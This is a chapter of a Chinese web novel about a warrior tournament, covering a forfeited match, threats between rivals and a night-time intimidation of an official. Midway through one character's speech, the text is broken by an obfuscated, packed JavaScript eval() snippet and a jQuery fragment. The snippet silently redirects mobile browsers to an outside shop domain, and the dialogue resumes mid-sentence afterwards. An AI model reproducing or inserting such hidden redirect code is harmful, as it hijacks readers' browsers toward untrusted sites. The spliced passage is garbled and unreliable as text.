一石激起千层浪!
全场哗然,不明白为什么桧培风好端端地就弃赛了。
朝景更懵,望着桧培风挺拔的背影,百般不解。
最终的胜负结果是要由裁判团宣布,其余人都没吭声,也不敢向散发着冰冷气息的桧明州投去视线,各个眼观鼻鼻观口的装聋作哑。
桧明州手指紧握成拳,怒视着檀知诚:“这就是你说的高兴的事情?”
说完,她怫然起身,兀自离场。
檀知诚无奈地耸耸肩膀:“怪我喽?”
桧培风前脚刚回家,后脚桧明州就跟上来,冷声质问:“你在抽什么风?现在立刻滚回去继续比赛。”
“我已经宣布弃赛,”她给自己倒满满一大杯水,一饮而尽,“倒是你,擅离职守丢不丢人?”
桧明州手掌重重地拍在桌子上:“桧培风,你最好给我一个合理的解释。”
“解释?”桧培风嗤笑一声,扬起下巴,透着张狂不羁,“我告诉你什么是解释,我在跟朝景打的时候,能力提升得有多离谱,你不会没察觉到吧?”
“有力量在帮助我,只要我杀了朝景,就会有更强大的力量,你懂吗?这道声音要杀朝景,要拿我当那把刀。你觉得我幻听是吗?但我真的变强了。”
她啐了口:“你告诉我这算什么?我在和她比试,你懂什么是比试吗?我要堂堂正正地和她打,而不是靠这种下作手段赢。”
“我桧培风敢比试,能赢,也输得起,”她一字一顿道,“用这种手段,简直是在侮辱我,是侮辱我的武士精神。”
桧明州长久地凝视着她,转身离开:“那把剑三亿六千七百万,从你的零花钱里扣,别觉得我的研究好做。”
桧培风一个激灵:“怎么这么贵!抢钱啊!”
对手弃赛,比试也没法继续,朝景干脆回休息室,正好小手套赶过来,对桧培风弃赛的事也莫名其妙,过会儿,她又补充说,那边的比赛路娅赢了。
朝景不出所料,路娅如今至王级,美人鱼金珠级,对战上没有意外的话,路娅必然会赢。
她等了没多久,裁判便宣布结果,进入下一轮比赛的,分别为朝景、路娅、小手套,显然是认可桧培风的弃赛。
不过,观众们对这项结果不满意,纷纷开骂,觉得桧培风收钱了或者桧培风没武士资格,居然在低等人面前低头,才骂完,就被桧培风狠狠一顿揍。
热血上头的观众这才想到,桧培风是谁,作风何其彪悍,惹她等于找死,何况她后面还有个桧明州。
憋屈的观众一肚子火没处撒,最后瞅准朝景,也不敢在现场说,就在青雅论坛义愤填膺,破口大骂低等人影响了武士。
骂了没几句,不知道从哪里冒出来的账号对愤怒的观众们火力全开,一个顶一百个,骂功之深厚,让许多人根本招架不住。
朝景看着桃新发来的在论坛的“战绩图”,一阵胆寒,连忙谢谢她帮忙反驳,多的都不敢说。
裁判宣布结果后,便进行第二轮的抽签,朝景轮空,小手套对战路娅。
“加油!”朝景专程找到小手套,给她鼓劲。
小手套若有所思:“她很厉害啊,不过……”
话说着,路娅走来,视线越过小手套落在朝景的身上,眸色冷冽:“其实你本来可以活着的,如果乖乖听话,不奢想不属于自己的东西的话。”
“我们很熟吗?”朝景漠然道,“别跟我说话,我不想理你。”
路娅看向小手套:“你先离开。”
小手套不满地哼几声,嘟囔几句便走了。
紧接,路娅靠近朝景,低声道:“我跟你说的可不止大赛,朝景,你最好想清楚一意孤行的后果,再这么执迷不悟,落得凄惨下场的不止你,我想,你应该知道自己有过怎样的结局吧。”
说完,她直接离开。
朝景蹙额,这话听着不对,她有过怎样的结局?路娅都知道些什么?会是她理解的那样,路娅也涉及到某些秘辛么?
她环视周遭,见观众还没有散场,到处都是人,思索少顷,从另一条通道离开。
入夜,私人公馆的草坪中,檀知诚自顾自给自己点了根烟:“找我做什么?”
桧明州默不吭声,先喝一大杯酒,良久,询问道:“你确定那个朝景有把握赢?”
“不确定,”檀知诚嘴角挂着淡淡的笑意,“闲着也是闲着,就当找些乐子。”
桧明州咬牙切齿:“有时候我真的很想打烂你的脸!”
“哦,看来你对自己的情绪管理能力增强不少。”檀知诚一副云淡风轻的姿态。
“事情没那么简单,”桧明州严肃道,“不论尖塔还是朝景,我说你如果看重朝景,就应该做些什么,很显然她处于劣势。”
檀知诚说道:“她处于什么境地我不关心,但明州啊,你要知道,对这种人来说,你什么都不插手,就是帮最大的忙。”
她侧身靠近桧明州,吐了个烟圈,烟圈冲撞在后者的脸上:“看来,某人要和我一样犯蠢了。”
桧明州冷冷瞪她一眼,说道:“路娅和小手套的对决中,路娅大概率会赢,之后她若是与朝景对上,总归不能善了。”
檀知诚想了想:“路以铃啊,虽说是贵族,但还行吧,路娅那孩子也不错,就这事……”她站起身,抬抬下巴,“走,我们去吓吓她。”
“吓谁?”
桧明州不解,自认没檀知诚的花花肠子多,有时候对于她的行为只能理解七八分。
檀知诚眼中闪烁着狡黠的光:“你知道我们在做什么吗?是后勤处理工作。”
“你刚刚不还说什么都不做就是帮忙?”桧明州反问。
“……”檀知诚看看她:“我就说培风这孩子咋这么直肠子,就跟她老妈了。”
“滚!”
檀知诚没叫助理,也没要守卫跟随,亲自开车,载着桧明州驶入灯光铺满的街道,不多时便到达目的地。
下车后,桧明州看向“帝国武士总学院”的招牌,明白檀知诚要找谁,一言不发跟上去。
门口的守卫正迷迷糊糊打盹,见到来人,吓得魂都没了,连忙恭敬地行礼:“檀副部长,桧副院长,您好!”
檀知诚摆摆手:“不需要惊动任何人,我们随便逛逛。”
“是。”
守卫大气都不敢出,等人走远了,狂跳的心脏都没法平复下来。
两人轻车熟路乘坐电梯,摁下三楼的按钮,随着“叮”的一声响,电梯到达。
这个时间,学院老师都下班了,办公楼大多黑着灯,只有三层走廊中间的窗户透射出柔和的灯光。
砰、砰、砰。
办公室的门虚掩着,檀知诚抬手敲门的同时,推门而入,朗声道:“曲会长废寝忘食,工作殚精竭虑,实在是让我很难不佩服。”
曲今遥转头看向她们,疑问道:“檀副部长,桧副院长有什么事吗?”
“没事,”檀知诚笑笑,“散步到这里,过来瞧瞧。”
她顺势提了把椅子,坐在曲今遥身旁,笑中带着冷漠;而桧明州直接坐在曲今遥的办公桌上,双手环胸,气势森寒。
从小地方一步步爬上来的人,身上都有着股血气与匪气,手中多的是人命,哪怕寻常的交流,都带着不可忽视的威压。
两相冷冽的气势包裹下,曲今遥不自在地用食指指节推了推眼镜,拘谨地说道:“我只是看看参加比赛的武士资料,有很多不错的武士,可以直接到帝都总院学习。”
“那可真不错,工作量会很大吧?曲会长可要多多休息。”檀知诚赞赏道。
曲今遥颔首:“谢谢,我会注意休息的,两位也是,檀副部长从初赛便离开帝都忙碌,更加疲惫,也要注意身体。”
檀知诚叹口气:“说起这个,我最近失眠了,要不然也不会拉着桧副院长一块散步。”
“那么有没有去医院看过呢?”
“看过,医生说是压力太大。”
曲今遥怔了怔:“压力太大……”
檀知诚无奈地敲敲桌子:“曲会长出身显贵,自然没法理解我们这群底层的心思,唉,你我都知道,说是帝国控制尖塔光芒,实际上,是尖塔的意愿。”
“曾经公平的光芒如今只留在帝都,底层人的路越来越难,唇亡齿寒,我看到这些心里怎么不难受?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579403|126012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
曲今遥额头渗出细密的汗珠,抿唇不言。
檀知诚啧了声:“曲会长,我说句不好听的,不是针对你,你可别介意。我们这种底层人读书,那就是识字用的,做官升官想都别想,起跑线在投胎那儿,已经输得彻彻底底。”
“本来这也没事,世界上不公平的事情多,被贵族抢走的不差这一件两件,底层大众还能靠武士出人头地,自己修行的实力,永远都是说话的资本。”
“可如今尖塔光芒被控制,等于断人生路,”她无奈笑笑,眼神灼灼,“有些悲哀,也有些让人生气啊,怎么连活路都不给人留了呢?”
曲今遥用手背擦了擦汗珠,说道:“檀副部长是相信外界所传的风言风语了吗?但你也说,这是尖塔的意愿,不是贵族所控制。”
“空穴不来风,”檀知诚说,“曲会长,我原先也像你这样想,后来突然意识到,我们的开国总统席莱就能够和尖塔交流,你说,是不是尖塔从来只认可了贵族?”
“我、我不太清楚。”
啪嗒!
桧明州折断一根钢笔,冷声道:“干他先人!”
“嘶,明州注意你的态度,别吓到曲会长,”檀知诚说完,微微摇头,“曲会长别介意,我们这些粗人,粗言粗语的,不是针对你的意思。”
曲今遥又擦拭汗珠:“其实、其实如果造成的影响很大,帝国这边可以成立基金会,在各地挑选合适的人,免费送入帝都,接受尖塔光芒的照射。”
“曲会长的提议不错,”檀知诚话锋一转,“但如果尖塔就是排斥底层人,那这基金会怕是成立不了。好吧,退一万步讲,成立基金会,但是人选怎么定?”
“怎么保证工作人员不贪污受贿,谁给的钱多就带谁?曲会长,别太理想主义,我比你更了解底层官员。”
她拿起曲今遥的笔记本:“我们的帝国就像这座本子,帝都是表面崭新而华丽的封皮,打开之后,”她单手撑开笔记本,“才发现,这纸啊,都被写烂了。”
曲今遥紧咬着下唇,再次用手指推推眼镜:“我想……我是说,如果真是这样,我会很同情帝国绝大多数人所面临的处境,如果、如果需要帮助,我义不容辞。”
檀知诚拍拍她的肩膀:“有曲会长这样的态度,我就放心了,曲会长真是大仁大勇啊。”
“檀副部长过奖了。”
“今晚我应该能睡个好觉,”檀知诚起身拍拍衣服,“走吧。”
桧明州瞥了眼曲今遥,径直走了。
曲今遥僵硬地用手指拢过鬓旁的头发,嘴唇发白。
“你这事干得真畜牲,居然威胁多愁善感又心里脆弱的曲会长。”上了车,桧明州直摇头。
檀知诚看她:“你不畜牲,坏人家钢笔干什么?”
“她又不是只有那一支笔,重点在你说的话。”
“得了吧,你才会让她失眠。”
红灯闪烁着倒计时,檀知诚手指随那秒数轻轻敲着方向盘:“明州啊,这会是一场可以载入史册的变故,无论如何,我们都要有至少两条路,迂回前进。”
桧明州手指夹着烟,沉声道:“我知道,不管找到多少条路,独独没有退路。”
翌日的第二轮比赛,朝景站在远离观众席的位置观看,结果没有悬念,金珠级的小手套败在路娅手中。
这一轮之后,不需要举行抽签,明天直接进行朝景和路娅的比赛,冠军是她们中的一人。
“她比以前强大太多。”
朝景侧目而视,桧培风摸着下巴,看向她:“你小心些,毕竟不禁生死赛。”
朝景嗯了声。
桧培风皱眉:“你嗯什么,听懂了没有?”
朝景:“我知道,有人要杀我。”
“那看来不笨嘛。”桧培风想了一晚上,到底要不要把这件事告诉朝景,比赛归比赛,这事也够离奇的。最后母亲让她别把话说太满,朝景自己能懂。
她不放心,现在看来,还真的理解了。
朝景:……
她不想说话了,动身去找小手套,询问对方是不是要回死土,刚进入休息室,就有什么东西砸过来。